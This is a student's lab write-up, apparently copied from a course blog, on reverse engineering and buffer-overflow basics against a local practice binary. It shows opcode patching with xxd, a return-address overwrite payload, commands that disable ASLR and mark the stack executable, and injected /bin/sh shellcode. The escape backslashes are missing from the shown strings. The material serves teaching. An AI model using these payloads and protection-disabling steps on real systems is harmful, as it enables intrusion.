zoukankan      html  css  js  c++  java
  • 20155206赵飞 Exp1PC平台逆向破解及Bof基础实践

    实验一 逆向及Bof基础

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令的机器码是"90"
    JNE汇编指令的机器码是"75"
    JE 汇编指令的机器码是"74"
    JMP汇编指令的机器码是"eb"
    CMP汇编指令的机器码是"39"
    详情可见汇编指令及机器码速查

    2.掌握反汇编与十六进制编程器

    1)反汇编命令:objdump -d pwn20155236 | more
    按ESC键
    输入如下,将显示模式切换为16进制模式
    :%!xxd
    查找要修改的内容
    /e8d7
    找到后前后的内容和反汇编的对比下,确认是地方是正确的
    修改d7为c3
    转换16进制为原格式
    :%!xxd -r
    存盘退出vi
    :wq
    其中:%!xxd是把代码转成16进制数,不转根本就是一堆乱码,当然最后要用:%!xxd -r改回来

    修改并保存之后再次反汇编查看结果
    运行pwn

    二:
    编辑输入为

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    ,可用xxd input查看input,随后运行pwn1;


    三:
    输入下面的指令
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
    构造输入
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号
    输入gdb,进入gdb调试,输入进程号
    然后输入info r,查看栈的地址
    使用x/16x 0xffffd33c查看其存放内容
    由我们构造的input_shellcode可知,shellcode就在其后,修改为这个地址;
    输入
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x10xd3xffxffx00"' > input_shellcode
    重新构造input

  • 相关阅读:
    07组 Beta冲刺 (2/5)
    第07组 Beta冲刺 (1/5)
    第07组 Alpha冲刺 总结
    ES相关
    集群与分布式
    idea使用总结
    Tomcat配置与启动与访问
    Web基础
    B/S与C/S架构
    一周视频学习总结
  • 原文地址:https://www.cnblogs.com/zf011/p/8596383.html
Copyright © 2011-2022 走看看